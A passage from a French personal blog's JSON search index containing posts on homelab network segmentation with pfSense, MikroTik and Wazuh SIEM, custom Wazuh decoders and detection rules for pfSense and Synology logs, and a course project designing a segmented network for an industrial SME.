pfSense\u003c/h1\u003e\n\u003cp\u003eLe \u003ca href=\"/posts/wazuh-siem-homelab-decodeurs-pfsense-synology/\"\u003epremier article sur ce projet\u003c/a\u003e s\u0026rsquo;arrêtait sur un SIEM fonctionnel : des décodeurs custom pour pfSense et Synology, 18 règles qui matchaient, un dashboard qui commençait à avoir l\u0026rsquo;air d\u0026rsquo;un vrai dashboard. Mais le tout restait passif. Une IP essaie de bruteforcer le NAS cent fois, Wazuh lève une alerte level 12, et\u0026hellip; rien ne se passe. L\u0026rsquo;alerte est là, elle attend qu\u0026rsquo;un humain la regarde.\u003c/p\u003e","title":"Wazuh SIEM, suite : MITRE ATT\u0026CK, détection de vulnérabilités et active response"},{"content":" ⚠️ Disclaimer\nCe qui suit est un retour d\u0026rsquo;expérience personnel, pas une documentation de référence. J\u0026rsquo;apprends, je fais des erreurs, et j\u0026rsquo;essaie d\u0026rsquo;en tirer des leçons honnêtes.\nJ\u0026rsquo;ai publié une série d\u0026rsquo;articles sur la mise en place de cette segmentation : phases 1 à 3 côté pfSense et MikroTik, phases 4 et 5 pour Proxmox et le durcissement. Ici, c\u0026rsquo;est un bilan d\u0026rsquo;ensemble : ce qui tourne, ce qui a surpris, et ce qui reste sur la table.\nVue d\u0026rsquo;ensemble de l\u0026rsquo;architecture après segmentation : 5 VLANs actifs, pfSense en routeur/firewall, MikroTik CRS310 en switch de cœur, couches de sécurité superposées (Suricata IPS, pfBlockerNG, Wazuh SIEM).\nCe qui tourne en production La segmentation est opérationnelle depuis début mars. Cinq VLANs actifs : LAN pour les machines de confiance, MGMT strictement isolé pour l\u0026rsquo;administration, LAB pour les VMs Proxmox, IoT pour les Ring et Netatmo, SERVICES pour le NAS. La DMZ (VLAN 99) est réservée pour plus tard.\nLes règles firewall pfSense tournent avec des alias bien définis. C\u0026rsquo;est la décision d\u0026rsquo;architecture dont je suis le plus content. Quand je dois modifier quelque chose, je touche à l\u0026rsquo;alias, pas à chaque règle une par une. Et le DNS interne via Unbound rend les logs lisibles : proxmox-asus.homelab.local au lieu de 192.168.20.94 dans les alertes Wazuh, ça change la vie.\nSuricata tourne en mode IPS sur le WAN. pfBlockerNG bloque en DNS les domaines pub, malware et tracking sur tous les VLANs. Wazuh ingère les logs de pfSense (syslog), du nœud Proxmox (agent) et du NAS Synology (syslog), avec 18 règles custom dont 12 taguées MITRE ATT\u0026amp;CK.\nCe qui a cassé : les vrais bugs Le routage asymétrique sur le nœud Proxmox ASUS a été le plus vicieux. Symptôme : ping depuis pfSense OK, ping dans l\u0026rsquo;autre sens, timeout. La cause était un bridge vmbr2 fantôme d\u0026rsquo;un ancien projet qui avait une IP configurée (192.168.10.1), créant une route plus spécifique que la route par défaut. Les réponses partaient par le mauvais bridge. Deux heures de diagnostic avec ip route show et tcpdump, deux minutes de fix (iface vmbr2 inet manual).\nLes fausses alertes Suricata, c\u0026rsquo;était impressionnant. Plus de cent mille alertes dans les premières heures. 94% venaient de deux règles liées au checksum offload, comportement normal sur certaines NICs mais que Suricata interprète comme suspect. Désactiver une dizaine de SIDs a suffi. Déployer un IPS sans calibrage préalable, c\u0026rsquo;est surtout se noyer dans du bruit.\nCôté Wazuh, un bug non documenté dans la version 4.14.3 m\u0026rsquo;a coûté une demi-journée. Quand plusieurs child decoders PCRE2 partagent le même parent, l\u0026rsquo;échec du premier empêche les suivants d\u0026rsquo;être testés. La solution est de créer un parent par type de log. Rien de complexe, mais il faut le trouver.\nEt la Vulnerability Detection qui ne remontait rien pendant deux semaines. Deux causes combinées : le bloc \u0026lt;indexer\u0026gt; dans ossec.conf pointait vers 0.0.0.0:9200 au lieu de l\u0026rsquo;IP réelle de la VM, et le wazuh-keystore n\u0026rsquo;avait jamais reçu les credentials pour le module indexer-connector. Une fois corrigé : 169 CVE détectées d\u0026rsquo;un coup, 17 critiques. apt upgrade dans la foulée.\nLa suite Le projet n\u0026rsquo;est pas fini, et c\u0026rsquo;est ce que j\u0026rsquo;apprécie dans ce type d\u0026rsquo;infrastructure : il y a toujours une prochaine étape qui a du sens.\nLa priorité dès que Wazuh sera finalisé, c\u0026rsquo;est l\u0026rsquo;audit de sécurité. Tester la segmentation avec les outils qu\u0026rsquo;on utiliserait en pentest : Nmap, scans inter-VLAN, vérification des règles. On construit une architecture, on la met à l\u0026rsquo;épreuve. Pas l\u0026rsquo;inverse.\nEnsuite, l\u0026rsquo;Active Response Wazuh pour bloquer automatiquement les IPs via pfctl sur pfSense quand une tentative de brute force est détectée. L\u0026rsquo;API REST de pfSense CE n\u0026rsquo;est pas disponible (feature payante), donc ce sera SSH avec clé dédiée et pfctl -t wazuh_blocked -T add. Du SOAR artisanal mais fonctionnel.\nLes interfaces admin tournent encore avec des certificats auto-signés, donc la prochaine étape logique sera de déployer une PKI interne ou du Let\u0026rsquo;s Encrypt en DNS challenge. Pareil pour le 2FA : Proxmox, MikroTik et le NAS ont un TOTP natif, seul pfSense CE nécessiterait FreeRADIUS.\nÀ plus long terme, j\u0026rsquo;aimerais aller vers un bastion d\u0026rsquo;accès, du SSO, la migration SFP+ 10G pour le trunk pfSense/MINIFORUM (deux câbles DAC à vingt euros, le trunk actuel plafonne à 2.5G), et Azure Arc sur les machines Linux pour tester Sentinel en parallèle de Wazuh.\nC\u0026rsquo;est un projet que je vais laisser vivre au cours de l\u0026rsquo;année 2026. L\u0026rsquo;améliorer petit à petit, tester, casser, corriger, avancer.\nCe que j\u0026rsquo;en retiens C\u0026rsquo;est probablement le projet le plus formateur que j\u0026rsquo;ai fait sur le homelab. On met vraiment les mains dedans. Le paramétrage des règles pfSense entre les VLANs, la configuration du bridge MikroTik, le debug de Wazuh ligne par ligne avec wazuh-logtest : c\u0026rsquo;est concret, et ça ne pardonne pas les approximations.\nLa première leçon, et elle est commune à tous les projets que j\u0026rsquo;ai pu faire : ça ne sert à rien de commencer tête baissée. Cartographier ce qu\u0026rsquo;on a, faire un état des lieux, planifier. Pour ce projet, l\u0026rsquo;audit initial du réseau a directement conditionné la qualité des règles firewall. Sans savoir précisément quels équipements parlent à quels autres, sur quels ports, les règles inter-VLAN auraient été bancales. Le bug de routage asymétrique sur Proxmox en est la preuve : si j\u0026rsquo;avais cartographié les bridges existants avant de migrer, j\u0026rsquo;aurais vu le vmbr2 fantôme tout de suite.\nIl y a eu des moments de stress, aussi. L\u0026rsquo;activation du VLAN Filtering sur le MikroTik, par exemple. Même en ayant un plan de retour en arrière (export de la config initiale du switch, accès physique en secours), il y a ce moment où on appuie sur \u0026ldquo;Apply\u0026rdquo; et où on ne sait pas si on va garder la main sur l\u0026rsquo;équipement. Ça m\u0026rsquo;a appris à systématiser les backups de configuration et à toujours prévoir un plan B pour réaccéder à une interface d\u0026rsquo;administration. Exporter la config du switch et du routeur avant chaque modification, c\u0026rsquo;est un réflexe que j\u0026rsquo;ai maintenant.\nAvec le recul, je retrouve quelque chose que j\u0026rsquo;ai connu en gestion de projet dans mes années en BI : on a beau tout planifier, il y aura toujours des imprévus. C\u0026rsquo;est une constante. Le bridge fantôme, le bug PCRE2 non documenté, les credentials oubliés dans le keystore Wazuh : rien de tout ça n\u0026rsquo;était prévisible. Ce qui compte, c\u0026rsquo;est de comprendre pourquoi c\u0026rsquo;est arrivé et de mettre en place un correctif pour que ça ne se reproduise pas. La méthode reste la même, que ce soit sur un reporting Power BI ou sur une segmentation réseau.\nCe qui est intéressant aussi, c\u0026rsquo;est que tout ce que j\u0026rsquo;ai monté ici se transpose directement en entreprise. J\u0026rsquo;ai une dizaine de machines, c\u0026rsquo;est de la virtualisation sur Proxmox, mais sur le principe, c\u0026rsquo;est exactement ce que mettrait en place une PME en termes d\u0026rsquo;architecture réseau segmentée, de supervision SIEM, de règles firewall. L\u0026rsquo;échelle change, pas la logique.\nConfigs pfSense, MikroTik et Wazuh disponibles sur GitHub (Kurgran). Les tutoriels détaillés de chaque phase sont référencés dans le README.\n","permalink":"https://appercel-clement.netlify.app/posts/bilan-segmentation-vlan-homelab/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eCe qui suit est un retour d\u0026rsquo;expérience personnel, pas une documentation de référence. J\u0026rsquo;apprends, je fais des erreurs, et j\u0026rsquo;essaie d\u0026rsquo;en tirer des leçons honnêtes.\u003c/p\u003e\u003c/blockquote\u003e\n\u003cp\u003eJ\u0026rsquo;ai publié une série d\u0026rsquo;articles sur la mise en place de cette segmentation : \u003ca href=\"../projet-segmentation-r%C3%A9seau\"\u003ephases 1 à 3\u003c/a\u003e côté pfSense et MikroTik, \u003ca href=\"../homelab-phases-4-5-migration-proxmox\"\u003ephases 4 et 5\u003c/a\u003e pour Proxmox et le durcissement. Ici, c\u0026rsquo;est un bilan d\u0026rsquo;ensemble : ce qui tourne, ce qui a surpris, et ce qui reste sur la table.\u003c/p\u003e","title":"Bilan segmentation VLAN homelab : un mois de pfSense, MikroTik et Wazuh"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nWazuh SIEM sur homelab : décodeurs custom, bug PCRE2 et logs pfSense RFC 5424 J\u0026rsquo;avais Wazuh qui tournait, des logs qui arrivaient, et un dashboard qui affichait surtout des alertes génériques. Clément Appercel ingénieur SIEM, ça sonne bien en entretien, mais si tu ne sais pas ce que ton SIEM capture vraiment, tu n\u0026rsquo;es pas loin du tableau Excel de monitoring.\nCe post raconte comment j\u0026rsquo;ai construit des décodeurs custom pour mes trois sources de logs (pfSense, Proxmox, Synology), les problèmes rencontrés en chemin, et surtout la méthode pour ne pas travailler à l\u0026rsquo;aveugle.\nLes fichiers de config sont sur GitHub.\nLa situation de départ Mon homelab tourne sur trois nœuds Proxmox, un pfSense en routeur/firewall, un NAS Synology DS723+, et un Mac Mini M4 Pro pour Docker. Tout est segmenté en VLANs depuis mars 2026.\nWazuh est déployé sur une VM Debian dans le VLAN LAB (192.168.30.x). Trois sources de logs :\npfSense : syslog UDP 514 vers Wazuh Proxmox ASUS NUC : agent Wazuh installé directement sur l\u0026rsquo;hôte Synology DS723+ : syslog UDP 514 vers Wazuh Sur le papier, tout arrivait. En pratique, quand j\u0026rsquo;ouvrais le dashboard Wazuh, je voyais des centaines d\u0026rsquo;alertes pfSense filterlog (trafic bloqué/autorisé) et quelques events Synology. Les logs DHCP de pfSense ? Absents. Les alertes Suricata IDS ? Absentes. Et pourtant pfSense était configuré pour tout envoyer.\nAvant de toucher aux décodeurs : cartographier ce qui arrive Le réflexe naturel aurait été de commencer à écrire des décodeurs. J\u0026rsquo;aurais perdu du temps.\nLa bonne méthode, c\u0026rsquo;est d\u0026rsquo;abord de faire l\u0026rsquo;inventaire de ce qui arrive réellement dans Wazuh. Le fichier archives.log contient tout ce que Wazuh reçoit, décodé ou non, du moment que logall: yes est activé dans ossec.conf. À partir de là, une commande suffit pour avoir la cartographie complète :\n1 cat /var/ossec/logs/archives/archives.log | grep -oP \u0026#39;pfSense\\.home\\.arpa \\K\\S+\u0026#39; | sort | uniq -c | sort -rn | head -30 Résultat sur mon infrastructure sur une journée :\nType de log Volume % filterlog 46 443 95,9% cron 1 702 3,5% dhcpd 225 0,5% syslogd 20 ~0% suricata 6 ~0% php / nginx 15 ~0% 96% de filterlog. Normal pour un firewall. Mais les 4% restants (DHCP, Suricata, nginx), c\u0026rsquo;est exactement ce qu\u0026rsquo;on veut dans un SIEM : traçabilité des devices, alertes IDS, accès admin à l\u0026rsquo;interface.\nTout arrivait dans archives.log. Rien n\u0026rsquo;apparaissait dans le dashboard. Diagnostic : pas de décodeur, pas d\u0026rsquo;alerte.\nPourquoi pfSense n\u0026rsquo;est pas décodé par défaut pfSense envoie ses logs au format RFC 5424 :\n1 2026-03-23T10:56:43.099591+01:00 pfSense.home.arpa dhcpd 44738 - - DHCPACK on 192.168.40.103 to 9c:9e:6e:65:72:a4 via igc1.40 Wazuh s\u0026rsquo;attend à du RFC 3164, le format syslog \u0026ldquo;historique\u0026rdquo; :\nMar 23 10:56:43 pfSense dhcpd[44738]: DHCPACK on 192.168.40.103 to... La différence concrète : un 1 en tête (numéro de version du protocole), un timestamp ISO 8601 avec fuseau horaire et microsecondes, et le nom de domaine complet au lieu du hostname court. Le pré-décodeur natif de Wazuh ne reconnaît pas cette enveloppe. Il passe au log suivant.\nJ\u0026rsquo;aurais pu basculer pfSense en RFC 3164, l\u0026rsquo;option existe dans les paramètres syslog. Mais la RFC 5424 donne plus d\u0026rsquo;infos, notamment le timestamp précis utile en forensic. J\u0026rsquo;ai préféré garder le format et construire les décodeurs.\nUn bug Wazuh 4.14.3 qui n\u0026rsquo;est pas dans la doc En construisant les décodeurs Synology, j\u0026rsquo;ai rencontré un comportement bizarre : le premier décodeur enfant PCRE2 fonctionnait, les suivants étaient silencieux. Résultat : les logs d\u0026rsquo;authentification Synology matchaient, mais les logs système ne déclenchaient rien.\nAprès plusieurs heures à tester des regex dans wazuh-logtest, le diagnostic : quand plusieurs enfants PCRE2 partagent le même parent, l\u0026rsquo;échec d\u0026rsquo;un enfant bloque l\u0026rsquo;évaluation des suivants. Ce n\u0026rsquo;est pas documenté. C\u0026rsquo;est reproductible.\nContournement : un parent par type de log, chacun avec un seul enfant. La structure devient plus verbeux mais stable.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 \u0026lt;!-- À la place d\u0026#39;un parent avec 3 enfants PCRE2 : --\u0026gt; \u0026lt;decoder name=\u0026#34;synology-auth\u0026#34;\u0026gt; \u0026lt;prematch\u0026gt;synolog@6574 event_id=\u0026lt;/prematch\u0026gt; \u0026lt;!-- prematch spécifique --\u0026gt; \u0026lt;/decoder\u0026gt; \u0026lt;decoder name=\u0026#34;synology-auth-ip\u0026#34;\u0026gt; \u0026lt;parent\u0026gt;synology-auth\u0026lt;/parent\u0026gt; \u0026lt;regex type=\u0026#34;pcre2\u0026#34;\u0026gt;event_id=\u0026#34;(\\S+)\u0026#34;.*?arg_3=\u0026#34;(\\d+\\.\\d+\\.\\d+\\.\\d+)\u0026#34;.*\u0026lt;/regex\u0026gt; \u0026lt;order\u0026gt;id,srcip\u0026lt;/order\u0026gt; \u0026lt;/decoder\u0026gt; \u0026lt;decoder name=\u0026#34;synology-dsm\u0026#34;\u0026gt; \u0026lt;prematch\u0026gt;synolog@6574\u0026lt;/prematch\u0026gt; \u0026lt;!-- prematch générique — APRÈS le spécifique --\u0026gt; \u0026lt;/decoder\u0026gt; \u0026lt;decoder name=\u0026#34;synology-dsm-system\u0026#34;\u0026gt; \u0026lt;parent\u0026gt;synology-dsm\u0026lt;/parent\u0026gt; \u0026lt;regex type=\u0026#34;pcre2\u0026#34;\u0026gt;synotype=\u0026#34;(\\w+)\u0026#34; luser=\u0026#34;([^\u0026#34;]+)\u0026#34; event=\u0026#34;([^\u0026#34;]+)\u0026#34;\u0026lt;/regex\u0026gt; \u0026lt;order\u0026gt;extra_data,srcuser,status\u0026lt;/order\u0026gt; \u0026lt;/decoder\u0026gt; L\u0026rsquo;ordre dans le fichier est critique : le prematch spécifique avant le générique, sinon le générique capture tout.\nLes décodeurs pfSense construits Avec la cartographie en main, j\u0026rsquo;ai identifié les types de logs prioritaires et construit un parent par type.\nDHCP : trois variantes de messages (DHCPACK, DHCPREQUEST, bail dupliqué) :\n1 2 3 4 5 6 7 8 \u0026lt;decoder name=\u0026#34;pfsense-dhcp-ack\u0026#34;\u0026gt; \u0026lt;prematch type=\u0026#34;pcre2\u0026#34;\u0026gt;pfSense\\.home\\.arpa dhcpd \\d+ - - DHCPACK\u0026lt;/prematch\u0026gt; \u0026lt;/decoder\u0026gt; \u0026lt;decoder name=\u0026#34;pfsense-dhcp-ack-fields\u0026#34;\u0026gt; \u0026lt;parent\u0026gt;pfsense-dhcp-ack\u0026lt;/parent\u0026gt; \u0026lt;regex type=\u0026#34;pcre2\u0026#34;\u0026gt;DHCPACK on (\\d+\\.\\d+\\.\\d+\\.\\d+) to (\\S+) via (\\S+)\u0026lt;/regex\u0026gt; \u0026lt;order\u0026gt;dstip,extra_data,status\u0026lt;/order\u0026gt; \u0026lt;/decoder\u0026gt; Suricata IDS : les alertes arrivent bien dans le syslog, mais uniquement si l\u0026rsquo;option \u0026ldquo;Send Alerts to System Log\u0026rdquo; est cochée dans la config de l\u0026rsquo;interface WAN dans pfSense. Elle ne l\u0026rsquo;est pas par défaut.\n1 2 3 4 5 6 7 8 \u0026lt;decoder name=\u0026#34;pfsense-suricata\u0026#34;\u0026gt; \u0026lt;prematch type=\u0026#34;pcre2\u0026#34;\u0026gt;pfSense\\.home\\.arpa suricata \\d+ - -\u0026lt;/prematch\u0026gt; \u0026lt;/decoder\u0026gt; \u0026lt;decoder name=\u0026#34;pfsense-suricata-alert\u0026#34;\u0026gt; \u0026lt;parent\u0026gt;pfsense-suricata\u0026lt;/parent\u0026gt; \u0026lt;regex type=\u0026#34;pcre2\u0026#34;\u0026gt;\\[(\\d+:\\d+:\\d+)\\] (.+?) \\[Classification: ([^\\]]+)\\] \\[Priority: (\\d+)\\] \\{(\\w+)\\} (\\d+\\.\\d+\\.\\d+\\.\\d+):(\\d+) -\u0026gt; (\\d+\\.\\d+\\.\\d+\\.\\d+):(\\d+)\u0026lt;/regex\u0026gt; \u0026lt;order\u0026gt;id,url,extra_data,status,protocol,srcip,srcport,dstip,dstport\u0026lt;/order\u0026gt; \u0026lt;/decoder\u0026gt; Ce qui n\u0026rsquo;a pas marché comme prévu Les logs nginx (accès à l\u0026rsquo;interface d\u0026rsquo;administration pfSense) : le décodeur natif Wazuh web-accesslog les intercepte avant mon décodeur custom, parce que les décodeurs built-in chargent avant local_decoder.xml. Il extrait les mauvais champs (le timestamp RFC 5424 au lieu de l\u0026rsquo;IP source). Ces logs restent en level 0 pour l\u0026rsquo;instant. C\u0026rsquo;est un angle mort.\nLa règle \u0026lt;field name=\u0026quot;status\u0026quot;\u0026gt; : dans les règles Wazuh, cette syntaxe ne fonctionne qu\u0026rsquo;avec des champs dynamiques custom, pas avec les champs statiques built-in (status, srcip, protocol\u0026hellip;). Pour matcher sur la priorité d\u0026rsquo;une alerte Suricata, j\u0026rsquo;ai utilisé \u0026lt;match\u0026gt; sur le texte brut :\n1 2 3 4 5 \u0026lt;rule id=\u0026#34;100042\u0026#34; level=\u0026#34;8\u0026#34;\u0026gt; \u0026lt;if_sid\u0026gt;100040\u0026lt;/if_sid\u0026gt; \u0026lt;match\u0026gt;\\[Priority: 2\\]\u0026lt;/match\u0026gt; \u0026lt;description\u0026gt;pfSense Suricata IDS haute (P2): ...\u0026lt;/description\u0026gt; \u0026lt;/rule\u0026gt; Le manager refusait de démarrer avec l\u0026rsquo;autre syntaxe. Pas de message d\u0026rsquo;erreur clair dans systemctl status, juste \u0026ldquo;Configuration error. Exiting\u0026rdquo;. C\u0026rsquo;est journalctl -xeu wazuh-manager.service qui donnait le détail.\nLes règles en place 18 règles custom au total, réparties en trois groupes :\npfSense filterlog (100010-100014) : block/pass par protocole pfSense DHCP (100030-100032) : bail accordé, demande, conflit IP (level 7) pfSense Suricata IDS (100040-100043) : alerte générique (level 6), priorité 2 (level 8), hôte compromis ET (level 10), priorité 1 critique (level 12) Synology DSM (100020-100025) : événements système, auth success/failure, brute force (level 10), énumération utilisateurs (level 12) La suite Ce qui reste à faire sur ce projet :\nDécodeur nginx pfSense (accès WebUI admin) : contourner le conflit avec web-accesslog Active Response : blocage automatique des IPs via l\u0026rsquo;API pfSense quand Suricata déclenche une alerte brute force Vulnerability Detection sur l\u0026rsquo;agent Proxmox Mapping MITRE ATT\u0026amp;CK sur les règles custom (T1110 pour le brute force, T1046 pour les scans\u0026hellip;) Ce que j\u0026rsquo;en retiens La partie technique n\u0026rsquo;était pas la plus difficile. Ce qui a pris du temps, c\u0026rsquo;est d\u0026rsquo;accepter de ne pas commencer à écrire des décodeurs immédiatement. Faire l\u0026rsquo;inventaire des logs d\u0026rsquo;abord, même si ça semble ralentir les choses, change complètement la qualité du résultat. Tu sais ce que tu couvres et ce que tu ne couvres pas. C\u0026rsquo;est ce qu\u0026rsquo;on attend d\u0026rsquo;un ingénieur SIEM en entreprise aussi.\nLe bug PCRE2 de Wazuh 4.14.3, je ne l\u0026rsquo;aurais pas trouvé si j\u0026rsquo;avais juste suivi les docs officielles. C\u0026rsquo;est le genre de chose qui se découvre en déboguant méthodiquement, en lisant les sorties de wazuh-logtest ligne par ligne, en posant des hypothèses et en les testant. Pas très glamour, mais c\u0026rsquo;est comme ça que ça marche.\nDernière chose : pfSense envoie du RFC 5424 par défaut, et beaucoup de ressources en ligne parlent de RFC 3164. Si tu déploies Wazuh avec pfSense et que tu ne vois pas ce que tu attends, commence par vérifier dans archives.log. Les logs sont probablement là, ils ne sont juste pas décodés.\nLes décodeurs et règles complets sont disponibles sur GitHub.\n","permalink":"https://appercel-clement.netlify.app/posts/wazuh-siem-homelab-decodeurs-pfsense-synology/","summary":"\u003cblockquote\u003e\n\u003cp\u003e⚠️ \u003cstrong\u003eDisclaimer\u003c/strong\u003e\u003c/p\u003e\n\u003cp\u003eLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\u003c/p\u003e\u003c/blockquote\u003e\n\u003ch1 id=\"wazuh-siem-sur-homelab--décodeurs-custom-bug-pcre2-et-logs-pfsense-rfc-5424\"\u003eWazuh SIEM sur homelab : décodeurs custom, bug PCRE2 et logs pfSense RFC 5424\u003c/h1\u003e\n\u003cp\u003eJ\u0026rsquo;avais Wazuh qui tournait, des logs qui arrivaient, et un dashboard qui affichait surtout des alertes génériques. Clément Appercel ingénieur SIEM, ça sonne bien en entretien, mais si tu ne sais pas ce que ton SIEM capture vraiment, tu n\u0026rsquo;es pas loin du tableau Excel de monitoring.\u003c/p\u003e","title":"Wazuh SIEM sur homelab : décodeurs custom, bug PCRE2 et logs pfSense/Synology"},{"content":" ⚠️ Disclaimer\nLa méthode que je présente ici correspond à ma propre démarche d\u0026rsquo;apprentissage. Elle peut contenir des approximations ou des erreurs, car j\u0026rsquo;apprends et je progresse chaque jour un peu plus. Ne prenez donc pas ce que je fais comme une référence absolue, mais plutôt comme un retour d\u0026rsquo;expérience personnel.\nSécuriser le réseau d\u0026rsquo;une entreprise industrielle en partant de zéro Premier vrai exercice de conception d\u0026rsquo;architecture réseau de ma formation OpenClassrooms. Pas un lab Proxmox où je casse des trucs dans mon coin, mais un scénario complet : un client fictif, des contraintes budgétaires, une baie de brassage qui n\u0026rsquo;a que 4U de libre, et 12 utilisateurs qui doivent continuer à bosser pendant qu\u0026rsquo;on sécurise tout.\nLe scénario : Forges de l\u0026rsquo;Ouest, une PME de métallurgie à Angers, vient de se prendre une cyberattaque. Leur bureau d\u0026rsquo;études tourne sur un réseau plat, des Windows Server 2012 R2 en fin de support, du LDAP en clair, des comptes partagés. J\u0026rsquo;interviens en tant qu\u0026rsquo;ingénieur cybersécurité externe pour concevoir la nouvelle architecture et planifier le déploiement. Trois livrables à produire, puis une soutenance orale de 30 minutes.\nLes configs détaillées et la documentation technique sont sur le repo GitHub du projet.\nCe que j\u0026rsquo;ai trouvé en arrivant J\u0026rsquo;ai commencé par disséquer l\u0026rsquo;infrastructure existante en la croisant avec les recommandations ANSSI. Résultat : 10 failles, dont 4 critiques.\nLa plus évidente, c\u0026rsquo;est le réseau plat. Tout le monde sur le même 192.168.100.0/24, sans aucune segmentation. Un poste de l\u0026rsquo;atelier compromis et l\u0026rsquo;attaquant peut se balader librement vers les serveurs, la direction, la téléphonie. La plus dangereuse, c\u0026rsquo;est l\u0026rsquo;authentification LDAP en clair sur le port 389. Une simple capture réseau suffisait pour récupérer l\u0026rsquo;ensemble des mots de passe.\nEn fouillant l\u0026rsquo;inventaire des applications métier et les comptes AD, j\u0026rsquo;ai aussi trouvé deux collaborateurs absents de l\u0026rsquo;organigramme qui avaient encore des comptes actifs. Ce genre de détail, un attaquant le repère tout de suite.\nTrouver les bonnes références ANSSI pour chaque mesure m\u0026rsquo;a pris plus de temps que prévu. Le guide fait 65 pages de recommandations et toutes ne s\u0026rsquo;appliquent pas au contexte d\u0026rsquo;un bureau d\u0026rsquo;études de 12 personnes. Il faut savoir faire le tri entre ce qui est pertinent et ce qui relève d\u0026rsquo;un SI à 500 utilisateurs.\nPourquoi FortiGate et pas pfSense Le choix du pare-feu a été le premier arbitrage. J\u0026rsquo;utilise pfSense dans mon homelab, je le connais bien, et j\u0026rsquo;aurais pu bâtir toute l\u0026rsquo;architecture dessus. Mais dans le contexte d\u0026rsquo;une entreprise industrielle qui manipule des plans techniques et des données de production sensibles, le FortiGate 60F s\u0026rsquo;imposait pour d\u0026rsquo;autres raisons : le support constructeur, les signatures IPS/IDS mises à jour automatiquement, et surtout la certification ANSSI (CSPN). Ça apporte de la cohérence au projet puisque toute l\u0026rsquo;architecture suit les recommandations de la même autorité.\nUn point que j\u0026rsquo;ai appris en cours de route : sans la licence FortiGuard UTP, le FortiGate n\u0026rsquo;est qu\u0026rsquo;un pare-feu stateful basique. C\u0026rsquo;est la licence qui active l\u0026rsquo;IPS/IDS temps réel, l\u0026rsquo;antivirus réseau, le filtrage web et le contrôle applicatif. La licence coûte 1 500 euros sur trois ans, soit presque autant que le boîtier lui-même. En contexte industriel, c\u0026rsquo;est justifié. Mais c\u0026rsquo;est le genre de chose qu\u0026rsquo;on oublie facilement quand on chiffre un projet.\nLe reste de la stack est en open source : Apache Guacamole pour le bastion d\u0026rsquo;administration (rupture protocolaire exigée par l\u0026rsquo;ANSSI), Nginx en reverse proxy dans la DMZ, Rsyslog pour la journalisation centralisée. C\u0026rsquo;est ce qui m\u0026rsquo;a permis de rester dans le budget.\nSegmenter en 7 VLANs avec 10 000 euros L\u0026rsquo;idée centrale du projet, c\u0026rsquo;est la segmentation. On passe d\u0026rsquo;un réseau plat à 7 VLANs isolés plus une DMZ, avec le FortiGate qui contrôle chaque flux entre les zones.\nChaque pôle métier (Direction, Production, Études, Technique) a son propre VLAN. Les serveurs sont isolés dans un VLAN dédié, la téléphonie IP est séparée, et l\u0026rsquo;administration passe obligatoirement par un bastion dans un VLAN sans accès Internet. L\u0026rsquo;idée, c\u0026rsquo;est que si un poste de l\u0026rsquo;atelier est compromis, l\u0026rsquo;attaquant ne peut pas pivoter directement vers les serveurs via SSH ou RDP. Il doit passer par le bastion, qui enregistre tout.\nDans une PME, on ferait pareil. Séparer la comptabilité de la production, isoler les serveurs des postes utilisateurs, forcer l\u0026rsquo;administration à passer par un point de contrôle unique. Le nombre de VLANs change, pas la logique.\nLe budget de 10 000 euros HT obligeait à faire des choix. J\u0026rsquo;ai opté pour un serveur reconditionné (Xeon, 64 Go de RAM) qui héberge les 4 VMs nécessaires, ce qui économise environ 1 500 euros par rapport au neuf. L\u0026rsquo;extension de garantie 3 ans compense le risque. Pour le stockage, un NAS 2 baies en RAID 1 plutôt qu\u0026rsquo;une VM de backup sur le même hyperviseur. Mon mentor m\u0026rsquo;a fait réaliser que c\u0026rsquo;était un point de défaillance unique : si l\u0026rsquo;hyperviseur tombe ou est compromis par un ransomware, la sauvegarde tombe avec. Leçon retenue.\nBudget final : 8 610 euros HT, soit 86% de l\u0026rsquo;enveloppe. 14% de marge pour les imprévus, ce qui est conforme aux bonnes pratiques de gestion de projet IT.\nLe placement du serveur de logs Le choix le plus discuté a été le placement du serveur Rsyslog. La recommandation ANSSI R67 parle de journalisation centralisée, mais ne prescrit pas où placer le serveur. Deux options : en DMZ, plus proche des flux à surveiller, ou en VLAN serveurs, moins exposé.\nJ\u0026rsquo;ai choisi le VLAN 50 (serveurs). Le serveur de logs contient des informations sensibles sur l\u0026rsquo;ensemble du SI. Le placer en DMZ, c\u0026rsquo;est l\u0026rsquo;exposer à la zone la plus vulnérable du réseau. Les logs remontent au serveur via le FortiGate qui filtre les flux. C\u0026rsquo;est un choix que j\u0026rsquo;ai dû défendre à la soutenance, et l\u0026rsquo;évaluateur a validé le raisonnement.\nLa cartographie comme source de vérité La cartographie réseau sous draw.io a été le livrable le plus chronophage. Pas à cause de la complexité technique, mais parce que chaque modification devait se propager dans les deux autres documents (plan projet et documentation).\nJ\u0026rsquo;ai appris ça à mes dépens. J\u0026rsquo;ai changé le placement du serveur de logs dans la cartographie sans mettre à jour le plan projet, et l\u0026rsquo;incohérence m\u0026rsquo;a sauté aux yeux pendant la relecture croisée. Plus tard, j\u0026rsquo;ai aussi refait le devis parce que j\u0026rsquo;avais commencé à chercher du matériel avant d\u0026rsquo;avoir finalisé l\u0026rsquo;architecture. Quand j\u0026rsquo;ai changé la topologie, le devis ne correspondait plus.\nDésormais, mon principe est simple : la cartographie est la source de vérité. On modifie là-bas, et on propage partout ensuite. C\u0026rsquo;est un réflexe qui vient du monde de la data. Quand on gère des flux ETL, on ne modifie pas le rapport sans mettre à jour la source. C\u0026rsquo;est pareil ici.\nLa documentation L3 a été scindée en deux parties : un guide utilisateur (ce qui change au quotidien pour les 12 collaborateurs) et un guide administrateur (procédures de maintenance, accès bastion, politique de sauvegarde). Le point clé du guide utilisateur : expliquer aux techniciens pourquoi ils ne peuvent plus accéder directement aux serveurs depuis leur poste. Le bastion ajoute une étape, mais c\u0026rsquo;est cette étape qui empêche un attaquant ayant compromis un poste de pivoter vers les serveurs.\nLa suite 